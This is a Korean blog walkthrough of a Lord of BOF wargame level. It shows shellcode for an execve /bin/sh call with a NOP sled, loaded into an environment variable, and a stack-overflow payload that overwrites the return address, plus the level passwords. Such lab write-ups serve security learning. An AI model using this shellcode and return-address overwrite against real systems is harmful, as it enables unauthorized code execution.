일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- JUCE
- Nebula
- BOJ
- go
- 연결리스트
- c++ heap
- OS
- 리듬게임
- JUCE library
- a tour of go
- 운영체제
- 자료구조
- Docker
- 백준
- 프로그래밍
- 알고리즘
- JUCE 튜토리얼
- C언어
- C++ gui 라이브러리
- gui
- LOB
- go channel
- tour of go
- C++
- C++ gui
- 코딩
- JUCE라이브러리
- 공룡책
- vim-go
- C++ library
Archives
- Today
- Total
CafeM0ca
Level1 gremlin 본문
반응형
입장 ID: gremlin
입장 password: hello bof world
이번 몬스터는 cobolt다.
코드를 확인하자.
gremlin과 같은 코드이지만 버퍼가 256바이트에서 16바이트로 줄었다.
이번에는 환경변수를 통하여 공격을 시도하겠다.
export Shell=`python -c 'print "\x90"*300 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
환경변수에 위의 쉘코드를 올리자!
스택 구조
buffer 16 | SFP 4 | RET 4 |
모카는 아래와 같이 페이로드를 작성할 것이다.
buffer A*20 | &(환경변수)
이제 환경변수 주소를 구하자.
임의로 만든 getenv.c 파일에 환경변수 주소를 구하는 코드를 작성하고 gcc로 컴파일한다. 그리고 컴파일한 파일을 실행시키면 환경변수의 주소를 구할 수 있다.
페이로드를 아래와 같이 작성할 수 있다.
공격 실행 원리는
buffer와 SFP를 덮고 RET주소에 환경변수의 주소를 넣으면
스택이 pop되면서 RET(환경변수 주소)이 실행되면서 환경변수에 등록된 쉘코드가 실행된다.
다음 ID: cobolt
다음 password: hacking exposed
반응형
'Hacking > LOB(Red Hat)' 카테고리의 다른 글
level4 orc (0) | 2017.09.14 |
---|---|
Level3 goblin (0) | 2017.09.13 |
Level2 cobolt (0) | 2017.08.24 |
Level0 gate (0) | 2017.08.22 |
[LOB]풀이를 시작하기전에 필독 (0) | 2017.08.21 |
Comments